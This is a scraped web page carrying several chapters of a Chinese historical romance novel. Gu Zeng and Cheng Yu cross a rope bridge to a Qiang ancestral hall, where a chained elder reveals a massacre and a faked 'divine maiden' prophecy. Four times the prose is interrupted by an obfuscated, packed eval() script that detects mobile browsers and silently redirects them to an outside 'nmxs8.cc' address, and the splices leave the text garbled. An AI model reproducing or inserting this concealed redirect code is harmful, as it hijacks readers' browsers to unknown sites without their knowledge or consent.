;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250665|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了眼。 老者“嗷呜”一声惨嚎中,顾曾挑了挑眉,看向程彧:“二公子现在还羡慕么?” 程彧忙摆手:“不敢了不敢了,家里有这么个白眼狼孩子,辛酸都酸不过来了,怎还敢羡慕……” 那老妪暴跳如雷地跳起,一把把那小蛇从她血淋淋的胳膊上扯下来塞回瓶中,指着云戈的鼻子一番龇牙咧嘴,适才的醉态已然尽消,精神矍铄得很。 虽然顾曾没听懂,但她猜测说的无外乎是“打死你个小兔崽子”之类的不痛不痒的话,因为这老妪只是在骂,张牙舞爪半天,手掌也没舍得挨云戈的身子一下。 她骂了好半天,云戈也面无表情地听了好半天,四下寂然后,才指了指顾曾二人,说道:“客人。” 老者吃了一惊,堪堪回过神来,围着二人上下左右好一番打量,眼中颇为警戒,说道:“不知阁下是何处来的客人,可否报上名号?” 这下轮到顾曾吃惊了,这老妪竟会说大昭的中原话,且比云戈流利得多。 老妪身形小巧、鹤发童颜,身穿了件绣得满满当当的褶裙,不在叫骂时声音沧桑沉静,颇有世外高人之感,不容小觑。 程彧率先应声道:“在下程彧,字容与,乃是大昭察汗吐蕃南楚龟兹公认的在世第一美男子。” 这人又在信口开河,顾曾有点想把他打死。 果然,老妪漠然道:“程容与?没听说过。第一美男子不是姜冕殿下么?” 程彧本就没打算她能正眼看自己,也不以为忤,把顾曾推上前半步,笑道:“无妨无妨,那说说她罢,她啊,那可是鼎鼎大名,你肯定知道,她可是你们那什么……圣女?神女?” 顾曾反手肘了他一下,对他无声做唇语道:“你胡说什么?” 她现在就像个逃难的流民,自称是羌人的神女,也不过是拿来骗云戈这小孩的话,当着人家老人的面,怎还能如此胡诌?程彧三两句话的口舌之快便是把她往火坑里推。 老者看了看顾曾,若有所思一阵,霎时变成了一副笑弯了眼的神色,五官上写尽了“慈祥”二字,上前拉住顾曾的手:“哎呀呀,天底下竟有模样如此秀致的姑娘。” 顾曾第一次同长辈这般诡异的亲昵,神色顿时有些不自然,活像个挨夫子训话的稚童,连那天不怕地不怕的气势都弱了几分。 老妪咦道:“啧啧,这衣襟怎得脏成这样?快跟阿婆来,阿婆给你找件干净衣服穿。” 扮成羌人的模样说不准更方便在这里晃来晃去,顾曾脸上一红,勉力装出一副温婉模样,盈盈一拜:“多谢阿婆。” 程彧在一旁看得低声一笑,立刻被她瞪了一眼,却笑得更肆无忌惮了。 “云戈!”那老妪又唤了一声,似是仍气得不浅。 晃来晃去、吊儿郎当的云戈登时挺直了身板,任凭他家阿婆吩咐道:“上次给你做的那件毪袍不是太大了么?去拿给这位小公子穿。” 云戈闷闷不乐扫了程彧一眼,扬了扬下巴,示意他跟来。 二人来到竹屋后一间低矮的侧室,云戈也不说话,只翻箱倒柜地埋首许久,总算找出了件华光内蕴的长袍,依依不舍地递给程彧。 这袍子墨色为底,银丝做纹,绣工极繁密工整,衣领及袖口缀了几株绛梅枝,任谁穿上都得平添三分贵气。 “我的,没穿过。”云戈言简意赅嘱咐道,“别弄坏。” 程彧正想笑话他护食,但听竹屋内“锵啷”一声巨响,便也顾不得穿这新衣服,匆匆赶来一看,只见云戈的阿婆不知怎得瘫坐在地,身旁一个硕大的陶土盆碎成了几瓣。 她似是受了极大刺激,晌久说不出一个字,只将手颤颤巍巍指向内室。 “阿曾!”程彧只道顾曾遇险,脸色遽然一变,急冲冲地便去推门。 只是那门将将开了个缝,便被一股大力弹回,险些拍到程二公子这张俊美的脸上。 “竖子!”顾曾怒气腾腾喝道,“我在更衣。” 18.绳桥 山清水秀,繁花簇锦,山间悠悠传来绵长的山歌。 云戈走在最前,顾曾和程彧跟在其后,三人心思各异,皆沉默不语。 晌久,程彧扯了扯顾曾衣袖,压低声音:“阿曾,你究竟跟那婆婆说了什么?她怎得就认定你是‘神女’?这当真不是个陷阱罢?” 此时的顾曾在云戈阿婆的勒令下已洗得干干净净,身穿了件洁白的褶裙,头上和颈上层层叠叠摞了不知多少件银饰,俨然一个俏丽的羌族贵女。 只是这发饰太重,压得她浑身僵疼。 “我半个字都没多说。”她无法顺畅地摇头,只摆了摆手指,“是不是陷阱,去了便知。” 兹事体大,其实她是有所保留的,早在出门前她便约莫想通了是怎么回事。 早些时候,云戈的阿婆在她更衣时突然大喊:“我嘞个天神阿爸咯,还真是神女!活的神女!”然后就慌慌张张冲出了内室,在陶盆上撞了个人仰马翻。 那时,顾曾的衣服不过刚褪了寸许,堪堪露出左肩。 她肩上正好有一道天生的胎记,不过指甲盖大小,却朱若蔻丹,宛若雪落红梅缀在她白皙的肌肤上,极其吸睛。 这世上有胎记之人何其多,但从那阿婆颠三倒四的话中来看,像传说中的羌人神女的,唯她一人。 顾曾有点头疼,总觉得这“神女”一说和她那好装神弄鬼诓人的老爹脱不了干系。可惜老爹没提前跟她透底,只好走一步看一步。 她满头波光粼粼的银饰在微风下叮铃作响,引得沿路劳作的羌族百姓纷纷侧目。 有几人笑着同他们问话,都由云戈代为回答。这孩子即便是说家乡话时也不善言辞,但大抵十分得体,路人也就吆喝了几句便笑着放他们离开。 程彧歪头看顾曾,笑眼弯弯:“阿曾,我猜,他们在夸你好看。” 顾曾平平转了下头,费了半天劲才挑动了一侧的眉,说道:“我倒觉得是在夸二公子玉树临风。” 程彧正穿着云戈宝贝得紧的那件毪袍,丰神俊朗,剑眉星目,像…… 顾曾犹豫了一下,恍然一笑,心道:“像那壁画中踏风而来的天神。” 云戈倏地停下了脚步,回身道:“都有。他们说……嗯……”他思忖了好一会,眼神一亮,“般配。” 程彧的脸霎时一红,眼神别到道路一旁,轻咳道:“是么……小爷我也这么觉得……” 顾曾身心俱疲地翻了个白眼:“二公子说笑了,我自知粗鄙,不会绣手帕,渭城也没有繁花可摘,所以半点也配不上你。” 程彧滞了一瞬,后低头一笑,拼命抿着嘴唇,嘴角却快扬到了耳朵根——她这算什么?醋坛子翻了? 顾曾说话时没过脑子,想到什么便说了,就这样在自己不知情的情况下做了大昭第一口是心非的醋精。 眼瞧着程彧在一旁想笑又不敢笑的傻样,又不知在发什么疯,她无奈地叹了口气:“莫名其妙笑什么?快走罢,不是说长老天黑后不见客么,别误了时辰。” 程彧沉默地跟在后面,一路上总想找点什么话说,可又觉得说什么都是多余,遂一言不发地在心底美滋滋地将顾曾适才的话回味了数十遍。 金乌西坠,暮色四合。 就在顾曾忧心今日大概要吃个闭门羹时,云戈抬手指向前方几十丈外的一座高阁,说道:“宗祠,长老,在那。” 那宗祠依山而建,在昏暗的日头下几乎与整座山的阴影融为一体。楼身外形奇特,有许多长短不一的木头柱子支棱出来,远远望去,活像头身上插了几十把刀剑的猛兽。 巉岩万仞,一条湍流奔涌的澜江横亘在羌寨与那高阁之间,二者仅以一条悬于高山之上的粗麻绳桥相连。 太阳已经快被群山遮个利落,晚空留有玳瑁般稀薄柔和的光。 顾曾站在崖边往下一探头,顿觉一阵晕眩。 澜江就在脚下奔腾,黑压压一片,根本瞧不清全貌,只能看到江心中打起的数个白色小旋涡。耳畔犹如万马齐喑,可见河水湍急。若不慎失足跌落,怕是片刻就要粉身碎骨。 云戈不以为意,只淡淡说了句“扶稳”,便轻巧地踏上了那绳桥。 绳索在逐渐黯淡的江面上近乎不可见,他便似一只人形风筝般,随风上下舞动,却极灵巧,没一会儿便到了对岸,冲二人招手示意。 程彧笑了笑:“这小子真是死性不改,将来你要是把他带回军中可得好好治治他。我们也去罢,阿曾?嗯……你怎么了?” 顾曾头上那圈银饰像头盔一样,阴翳遮住她脸的一大半。程彧贴近去看,才发现她脸色苍白,额上冷汗连连,顿时急道:“你病了么?” 顾曾摇摇头:“无妨,走罢。” 程彧还没来得及拦她,她已率先踏出了第一步。 但也停在了第一步。 顾曾站在绳桥上,手足无措,几番深呼吸后,咬牙切齿想着:“姜旬,要救姜旬,我要救姜旬!” 就这般,她又逼着自己前行了几步。 云戈抬头看了眼天色,嫌她太慢,去而复返跳回绳索上,朝她飞快地挪去,口中喊道:“姐姐,快些。” 他早就对这秋千一样的绳桥习以为常,甚至还在上面蹦蹦跳跳的,荡得本就不安稳的整座桥愈发摇晃。 顾曾耳中只能听到下方的滔滔江水声,几乎是用尽了全身的力气才从牙缝里挤出几个字:“云、戈……你、你给我消停点。” “噢。”云戈委屈巴巴停在一半,而后身形一转,又回去了。 “阿曾,”程彧终于发现她是在害怕了,自背后唤她,“你右手抓住绳索,左手抓住我,看看会不会好受些。” 大丈夫能屈能伸,顾曾毫不犹豫地搭上他冰凉的指尖,只觉他素手修长,骨节分明,握起来手感不错。 即便是叫江心的风吹着,她掌心仍有一层薄汗,掌缘的一圈粗茧都覆上一层滑腻的触感。 程彧没心没肺笑她两声:“阿曾,你是不是也晕船?” 顾曾板着脸生硬道:“回二公子的话,没坐过船。” 程彧咦了一声,旋即笑道:“那等你以后来临安,我带你去坐长江的楼船。那船内里雕廊画栋、炊金馔玉,还稳得很。船身有好几丈那么高,能从江口一路驶到南洋。” 顾曾:“说得好像你坐过一样。” “我自然坐过。”程彧道,“每隔几年我哥就会带我回临安老家过年,待到入夏时节才回京城。临安真是好地方啊,粉墙黛瓦,杏花烟雨,尤以季春时节为盛,这辈子总该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269748|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要去看一次。这样罢,待你哪日不再戍边,我带你去逛逛可好?” 顾曾被他说得动心,仿佛已看到了那只存在于话本中的细雨绵绵江南水乡。可她转念一想,既然是期冀,那早晚都是要落空的,倒不如不去想,也省得失去时空落落。 她一辈子都没离开过边塞,就连这次来阆州,也是她第一次离开大漠和雪原。雄鹰离开了大漠,孤狼离开了雪原,那该是什么样子?会变成什么也不是的怪物么? 她自觉见识短浅,想象不出来,叹了口气:“当真会有那么一天么……” 程彧立刻接话道:“当然会有!小爷我还总觉得一辈子都见……都来不了西南边疆呢,这不还是来了么?” 顾曾弯了弯唇:“也有道理。” 谈笑间,她一只脚已然踩到了坚实的土地上。这看似不可逾越的天险,竟这样叫她一步一步趟过来了。 顾曾这才恍然望向程彧,道:“原来二公子是为了让我分心,才一直陪我闲聊,多谢你用心良苦。” 程彧忙摆手:“才不是,我是真想带你去临安看看的!你不信是不是?那便这样说好了,你以后要是下江南,一定一定一定要和小爷我一起去。”说罢,他手腕一翻,勾住她的小指,轻轻晃了几下。 云戈盯着看,不解道:“何意?” 程彧笑道:“勾手起誓,就像歃血为盟一样,说过的话、承诺的事便不许反悔。” “我可没答应和你同流合污。”顾曾笑着抽回手,“但若届时二公子能略尽地主之谊,那我倒可以期待期待。” 程彧大步向前走,回身一笑,高高束起的长发泼墨般落在肩头,右手戏谑地朝她打了个响指:“保证不让你失望。” 几人言笑晏晏刚踏上那石阶,天边还挂着最后一丝余晖,宗祠的大门却在此时“訇”的一声响,合上了,里头还传来了落锁的声音。 相觑无言,云戈难掩失落:“关门了,对不住。” 顾曾愧疚得想钻地缝:“是我的错,是我……心魔难解,耽误了时辰。” 程彧这才问道:“说来也奇,阿曾你怕高么?” 无论是千百山匪的刀剑,还是倒悬于顶的尸林,她都没怕过,为何会怕这区区一段绳索桥? 左右这长老是见不到了,顾曾正被这满身的银饰压得头昏脑涨,干脆直截在石阶上坐下,说道:“我幼时曾跌落山谷,在一座差不多的绳栈上吊了两天两夜。” 云戈“啊”了一声:“危险。” “是啊。”顾曾几不可察地抬了抬唇角,最后一丝暮色落在她身上,满头银饰洒满了碎金,衬得她面色温暖又柔和,“当时是冬天,风又冰又冷,绳栈也跟着打颤。我那次真觉得这条小命不在自己手里,而是握在老天爷手中,它让我活我便活,让我死我便死,可最气人的是,它偏偏让我半死不活地吊着……” 程彧好似被什么东西扎了般,眉心一紧:“后来呢,有人来救你了么?”话刚出口他便明白这问题很蠢,若没人救,那眼前人还能是鬼么? 顾曾眼前浮出许多往事,难得温柔地点了点头。 程彧倏然福至心灵,神色一黯:“救你的……是宸王殿下么?” “奇了,”顾曾猛地撇头看他,“你怎知的?” 19.长老 顾曾与姜祐珣很早之前便相识了。 十二年前,父母早逝,小姑自顾不暇,所有人都不愿放过她,派出一批一批的杀手追着她四处奔逃。最后在挣扎着爬过那座绳索桥时,她浑身是血,无论如何都迈不动步子,心里也已万念俱灰,不想再过这样亡命天涯的日子了。 她索性在吊桥上听天由命。 濒死之际,是岸边一人突然唤醒了她。 那人也不过就是个十岁出头的小少年,寒冬腊月里,他挽起袖口就要下绳桥,还生怕她一个轻生跳下去,不住安抚她道:“小鬼,你别怕,我这就来救你。” 那一刻,她朦朦胧胧意识到,原来,老天还是要她活的。 小少年身侧比他高出两个头的随行士兵慌张道:“我的殿下唷,这怎么行……” 可是那少年没听,抓着绳索几下就到了她身旁,对她扬起手,笑道:“你抓住我,说不定就没那么怕了。” 小顾曾听话地抓住了他的手,那是那个冬日里她接触的第一个暖和的东西。 “还怕的话就闭上眼睛。” 她又听话地闭上了眼睛,只感觉被那少年单手抱在怀里,也不过就是几个呼吸之际,再睁眼时,她已经被稳稳放在了平地上。 “殿下……?”小顾曾终于弱弱地开口,“你是什么殿下?” 那少年哈哈大笑,颇有几分豪情:“我可担不起‘殿下’二字,我叫姜旬。” 后来,姜旬给她找来了毯子,架起了篝火,喂饱了她的肚子,甚至还有几天,在她噩梦连连的夜晚,寸步不离地守着她。 他们相处了两个月,直至顾曾被安然无恙地送回到林霜的身边。 念及往事,顾曾垂下眼来,浅笑道:“那个时候,姜旬还不叫‘姜祐珣’。” 她也是几年后在街上听到别人聊天才知道,原宸王姜冕战死沙场,其独子不过一蒲柳弱质的少年,居然自请挂帅,镇守雍州,以风卷残云之势平定了西境叛乱,真乃傅昙之后的又一天纵奇才。 皇帝为褒其忠心,令姜旬袭宸王位,并昭告天下,视新宸王如己出,从此他便是大昭的三皇子——姜祐珣。 云戈在一旁听得云深雾绕的,呆得像块木头,什么“宸王”,什么“姜旬”,他一概没听过,只看出顾曾和程彧这两人之间的气氛有些微妙,尤其是程彧,脸色实在难看得紧。 程二公子缩在一旁,眼皮半垂着,一手撑着下巴,喃喃自语道:“也难怪……你那么在乎他。” 他当然知道被人救过一命是什么感觉。 什么枯木逢春、雪中送炭,那皆是老生常谈。于他而言,那感觉并不是一开始便有的,而是他在十余年中的每个夤夜孤灯下冥思苦想出来的。 他每次睡不着觉,脑海中都会出现那人的身影,心里只觉又苦又涩,更加睡不着觉,即为“冥思苦想”。 “我懂,我自然懂。”程二公子想起那夜夜难眠的煎熬,自嘲般笑了笑。 也不知从何时起,全京城的小娘子们对他丢再多手绢也没了用处,加在一起能带给他心底的波澜也不及那人月色下的惊鸿一瞥——即便那人曾经只活在他心里。 程彧也不明白自己这是“多情”还是“无情”。 顾曾不知所云地看向他:“你又懂什么了?” 少年多情,偏偏遇上的是最无情的女将。 年幼失怙,顾曾唯一的至亲——小姑傅岚——又怕暴露她的身份,把她托付给林霜后便再没过问她的事情。 无人教导,于顾曾而言,林霜、姜祐珣、营里的刘叔潇潇姐大风哥……都算她的家人,花雨闲于她亦师亦友,虽然这人有时候有点讨厌,那也可算半个家人。 至于家人与家人之间,林霜和姜祐珣之间,于她又有什么不同,她从未细想过,也不需要费那个脑子去想——因为不论是哪位家人,都值得她上刀山下油锅。 人生在世,不过就这么几个惦念。别的杂念越少,越纯粹。 是以,她虽非天真无邪的痴傻小女孩,有些事情没有亲身经历过,只得从话本中听来。而故事这种东西,永远都是把听众摆到旁观者的角度。 顾曾的脑子可能就是这样听迟钝了,听别人讲能听得头头是道,自己遇上点事便拎不大清楚,程二公子那点别扭的小心思就算对她坦言,怕也是对牛弹琴。 二人一人恼、一人懵,就在云戈觉得自己有必要说些什么时,身后紧闭的宗祠大门突然“吱呀”一声开了,几声铿锵的金石之音随之而来。 寒风不声不响地吹得几人打了个寒颤。 灰蒙蒙的月色下,一个发须皆白的老者站在宗祠堂中,身上一半是裹在阴影里的,只可隐约感觉他面色不善地望来。 云戈霎时站起了身:“长老。” 顾曾与他对视一眼,只觉那眼神里犹如镀了层冰,令人不寒而栗。 那长老声若洪钟地说了段话,云戈登时神色慌张,连说带比划地解释了好半天,扯了扯顾曾的衣角:“姐姐,叫你。” 顾曾早在来的路上便打定了主意,不论是吉是凶,这宗祠她是闯定了。 “叨扰了。” 她执起裙摆,照猫画虎地福了福身,正要上前,程彧却扬手挡在她身前。 “阿曾先别去,”他目光如电,死死盯着那长老,“我觉得这老头不是什么好东西,有什么话在这不能谈么?” 长老身形不动,只冷笑两声:“你们既然主动送上门来,逃避也是无用。再不过来,我便只好让人把你‘请’过来了。” 顾曾拨开程彧,对他摇了摇头,缓步走到长老身前,霎时呼吸一滞。 那长老远观来身形伟岸,走近看才能发现,他已是耄耋之年,浑身瘦得皮包骨,脸上一丝多余的肉都没有,一双不知叠了几层的眼皮稀松地挂在那,遮住了大半浑浊的眼神。 最令人讶异的是,他的四肢和脖颈正被五条手腕粗的铁链死死捆住,如跗骨之蛆般紧紧箍住他的骨骼,要他即便他瘦成骷髅也无法挣脱。 铁链的另一端探进黑漆漆的宗祠深处,想来是连着山体,若非神力不得拔出。长度更是设计得恰到好处,他现在所处已然是他的极限,竹竿一样的四肢于此时被拉扯成了一个简易的“大”字形,远远望来,只可见其翩翩衣袂随风而动,极其唬人,近看才知其狼狈。 顾曾敛住异色,还算恭谨地拜道:“见过长老,深夜造访实属冒昧,此番是想向您求教蝴蝶谷出谷之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287832|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法。” 长老阴恻恻笑了两声,半抬不抬扬起眼皮,道:“小姑娘,敢随我进来么?” 那宗祠里一盏灯都没有,黑得瘆人。 顾曾最不怕装神弄鬼,回身看了眼程彧,对他摆摆手,说道:“长老请带路。” 她刚踏进门槛,那长老便似个木偶一般,拖着铁链在地上猛地一划,铁门“咚”的合上,“吧嗒”落了锁,与他们先前听到的那声一致。 眼前一片漆黑,这里的隔音又甚好,即便只有一门之隔,顾曾也只能依稀听见一点点程彧在门外叫魂儿似的的鬼哭狼嚎。 倏地,有灯亮了。 那长老掌心托着把油烛,一张孤魂野鬼般的脸就离她三步之遥。 顾曾不动声色笑了笑:“长老,关起门来说话敞亮,有话还不说么?” 长老不言语,脚不离地地拖着铁链哗啦哗啦地走来走去,逐一把周围一圈的香灯点亮。 顾曾看清了居于中央的那座垒得极高的白英石塔,四周香炉环绕,供着上百座小牌位。沉香缭绕着白塔,散之不去,灯影争相浮动,清净澄明,流转万千。 最显眼的那块牌位上写的是迦若将军的名字:迦若次乌。 长老趺坐在白塔前的一块蒲团上,合上了眼:“你是傅昙的女儿?” 顾曾心中一凛,没有应声。 “你就是傅昙的女儿,我知道得清楚。”长老自顾自冷笑道,“十八年前,你刚出生没多久,次乌生怕和昭人的和平只维持到傅昙这一代,二人苦心孤诣地求我伪造天神降世的假象,以你为模,传出所谓神女的预言,只盼将来若再有乱世,你能保我全族性命。” “果然,”顾曾一点也不意外地心道,“果然是她那老爹干的好事。” “小姑娘啊……”长老的笑声凄厉起来,“你终究是来了,可惜来得太迟,竟晚了十几年。当初我们需要你来为我们讨个公道时,你又在哪?” 他问完才恍然意识到:“哼,也对,傅昙死得早,你那时也不过只是个小娃娃。” 顾曾惊心动魄地听着,哪怕心中再波涛汹涌也不敢打断,这老先生仿佛要散架般端着四肢,她生怕一出声,他就当场坍塌成一缕魂魄飘走。 长老神色混沌地细说起事情原委:“我族的祖宅自古以来就在阆州附近的青牛山上,是你们昭人贪念太重,生要争抢我们的地盘,才与我族数百年交恶。老朽我真是不懂,你们已经有了那么广袤的土地,为何非要想着争一些、再争一些呢? “我族世代隐于大山,直到首领之位传到次乌手中。这小子一番雄心壮志,出去游历一圈后,便信誓旦旦说要带领我族与昭人和平相处,想来也是受了傅昙那小子的蛊惑。 “次乌好口才,说动了全族,连我这种老顽固都有点向往他口中的和平了。于是我做了此生最后悔的事——允许次乌领着我族精锐出山。 “他被傅昙骗得好惨,又把我们族人骗得好惨。你们那狗皇帝允诺的话连个屁都不如,封了次乌为将军又如何?蛮夷平定之日,姓郭的那个畜生还不是一碗毒酒送了次乌去见阎王,而后又带着他麾下铁蹄屠戮了青牛山?” 顾曾悚然一惊:“你……你是说郭侯和安宁军?” 20.苍山 人皆道:迦若将军战死沙场、荣归故里,羌人却不满赏赐,狼子野心地想要吞并整个西南府,皇帝不允,羌族遂叛出大昭。 可是真相……竟然是反过来的么? 羌人屠杀安宁军将士是为冤冤相报,而云戈也没能走上他爹期望的那条路,没能带领部族与大昭交好,反倒连中原话都说不利落,连字都不识。 百年恩怨横在中间,善恶因果皆有业报,上一辈亲手系下的死结,如今就如勒在他们这些后辈喉咙上的那根白绫,缠得人几近窒息。 长老眉目不惊道:“我族被迫西迁几百里到这深山老林中,机遇之下发现了古巫族遗址,便扎根于此,依靠蝴蝶谷的天然屏障苟延残续。老朽我亦知无颜面对先代长老,这辈子都不配再见青山绿水……” 顾曾喃喃:“所以这铁链……” “不错,”长老冷哼一声,“是我自锁于此,只愿赎罪。小姑娘,念在次乌曾拿你爹当知己的份上,我可以让人放你离去,但这蝴蝶谷已是我族最后一道生机,你讨要舆图是绝无可能。” 言至于此,顾曾深知不该再强求,可大昭已经一错再错,若再折了个姜祐珣,小人守国,天下很快便会大乱。 “长老……” 长老显然不想听她说话,阖上了双目,催促地摆摆手:“真相为何,该说的我都说了,余下万事都与我族无干,你出去罢。” 即便香灯环绕,宗祠内仍然阴冷异常,山风自后袭来,卷出人一身寒栗。 顾曾不死心,弯身拜道:“郭侯如今要故技重施将友军斩杀殆尽,晚辈不希望他得逞,只求……” “你以为敌人的敌人于我们来说便是朋友了么?”长老阴沉沉笑了两声,“天真,你们昭人内部狗咬狗,与我族何干?我巴不得你们全都死干净。” 顾曾登时便被惹恼了,不救便不救,却要因为十余年的前尘旧梦莫名骂了自己一顿,真是叫人窝了一肚子火。 她可真是恨死她老爹了,真不明白他老人家当年为何偏要自刎,难道人死了,这江山就能自己稳固下来么? 顾曾握紧了拳,一句一顿:“宸王殿下、扶苍军,还有我,不是狗。若扶苍战败,天下大乱,羌族未必能独善其身,长老,请助我们一臂之力。” 长老晃了晃自己的两条麻杆手臂,哂道:“老头子我两只胳膊都被捆得严严实实的,一臂之力也助不了。” “如此,告辞。”顾曾不再多说,两片薄唇微抿,眼中一片压抑于心的血红。 长老见她神情坚定,心中称奇:“你仍要去救人?” “自然。”顾曾面沉似水,“长老不愿襄助,我便凭自己本事。一条生路罢了,没有的话,放火烧、用炮轰我也能给它开出来。” 长老听罢,旋即轻蔑一笑:“你爹当年胆识过人,次乌才甘于追随,老朽我被他骗也认了,想不到这家族遗风到你这女娃身上,竟只成了莽夫行径。” 顾曾冷冷道:“胆识过人也好,莽撞也罢,是我爹当年看走眼才叫郭侯小人得志,如今的我是在给他收拾烂摊子,嫌我做得不好,那他就赶紧从棺材里跳出来自己上罢。若跳不出来,他也得给我闭嘴。” “你……你这小姑娘,”长老被她噎得哑了声,“简直胡搅蛮缠。” 他叹了口气,不再说话,只将身上的铁链裹成个大铁球,一寸一寸于身前收紧。 铁门缓缓打开,揽一丝冷月入室,门外漫天星河如缎。 “阿曾!”程彧几乎是飞身扑过来的,顾曾猝不及防被他撞了个满怀。 他一见她冷冷清清又故作镇定地板着脸,便知她心中难过至极,登时恶狠狠地瞪来:“老东西,你敢欺负她?” “少胡说,快走。”顾曾心烦意乱把他推开,已走到了门槛。 程彧奇道:“你要去哪?” 顾曾咬着后槽牙,冷冷道:“把蝴蝶谷一把火烧了。” 她心中明白,这大概是行不通的,此处全年多雨,瘴气横生,木头怕是很难烧起来。若真是这么好解决,她那个倒霉爹当年早就这么干了。 顾曾最后看了那长老一眼,这风中残烛般的老者耷拉着满是沟壑的脸,不见悲喜,神色风轻云淡,大有一副“杀了我也不帮你”的架势。 眼见这人是劝不动了,她开口道:“长老允诺放我二人离开,此事还作不作数?” 长老抬了抬眼皮,掏出个木牌掷到她面前,慢吞吞道:“那是自然,你当我族同你昭人一般……” “好。”顾曾没什么耐心地打断他一视同仁又不讲道理的指责,拾起木牌,又理不直气也壮道,“我还要带云戈一起走。” 云戈本是默默缩在一旁的角落里,听到自己的名字,身躯一滞,抬眼正对上长老那幽深的眼神,登时慌乱地垂下头。 他纤细的手藏无可藏地握紧成拳,绷得笔直地垂在身体两侧,半响,细声细语地说道:“我想,出去。” 长老一动不动盯着他看了许久,终于叹道:“也罢,你姐姐不在,你即是本族首领,我就算有心去管却也没那个资格束缚你。” 云戈如蒙大赦,几乎不相信自己的耳朵,愣了好一会才露出一个又惊又喜的微笑:“多谢长老,谢谢,姐姐。” 顾曾看他如此高兴,终于也扬了扬嘴角,手中一顿,将那出谷的木牌递给了程彧:“二公子,求你帮个忙。” 她投来的视线冷冰冰的,却极亮极专注,能把人吸进去一般。 程彧叫她这般看着,半个“不”字都说不出,立即应道:“你尽管开口,我定不辱命。” 顾曾:“你带云戈出谷,速回京城。” “啊?”程彧只道她要自己先行逃命,心中一番五味杂陈,僵住了。 这算帮人哪门子的忙? 顾曾对他浅浅一笑:“你别误会,我有事所托。来此之前我已让阿姐给傅岚将军带了话,请她上书支援西南,可折子未必能这么快递到御前,陛下不亲眼见到西南现状,也未必肯允她。” 程彧领悟得不慢:“所以,你是要我去求陛下?” 顾曾微微颔首,这是他们最后的机会了,都说皇帝宠信程二公子,若有他从旁协助,傅岚能驰兵来援,未必不能搏出一条生路。 程彧立刻就想通了这其中关窍,怫然变色道:“那你呢?你不跟我走么?你要留下和他们……同生共死么?” 顾曾一滞,她早就知晓程彧未必会应允——程二公子插手其中,便会拉程家入这乱局,这与程家的家风不符。 可程彧先在意的竟然是她的生死,这倒是让顾曾有些不知所措了。 顾曾以手抵额,皱着眉心:“扶苍军如今全然被蒙在鼓里,我得回去找花雨闲。” 这些人若是一步踏错,像她爹当年一样误入了那满是耗子洞的山里,恐怕再难脱身。 程彧咽下一口半闷半醋的气,眉目凛然,正色道:“除非你跟我一起走,不然小爷我才不干。这一来一回少说几个月,他们弹尽粮绝,若被左右夹击围困在这深山中,哪里撑得了那么久?” “二公子未免也太小瞧我们了。”顾曾傲然一笑,“大漠里摸爬滚打出来的兵,最不怕的就是忍饥挨饿和人兜圈子。” 往日他们剿匪,在望不到尽头的荒漠中和沙匪们你来我往地躲迷藏,时常一潜伏便是几个月之久。云雾山这里好歹有山有水有树,只要肯费心周旋,斗到冷铁卷刃,未必就是死路一条。 顾曾又向程彧投来一个千斤重的视线,轻声道:“二公子,算我求你走这一遭。若此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298597|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生有缘再见,我定全力报答你今日恩情。” 她这话说得谦卑温良,难得没有含枪带刺,可在程彧这却犹如霹雳过耳,蓦然升起一阵摧心蚀骨之痛。 什么叫“若此生有缘再见”?她是觉得这辈子便再也见不到了么? 还有,她素日里是那么高傲的一个人,此刻如此低声下气地求他,还说要全力报恩,果然是为了宸王么…… 程彧胸口如抵尖刀,连呼吸都小心翼翼起来,晌久才颤抖地掀起眼皮,望进她期盼的眼神,任命般在心底自嘲:罢了,若换作是她遇险,他大概也会做出同样的选择。 “好。”程彧挤出一个不怎么诚心的微笑,“快马加鞭,义不容辞。你千万等我,别随便死了,我定回来救你。” 月华透过铁门的缝隙投来一道霜白的光幕,他就站在阴影中,眼中却如月色清亮。 虽然相识不久,他的话此刻却如同雷霆之音,教人深信不疑。顾曾得了他的允诺,稍稍放宽了心,笑道:“好,我等你。” 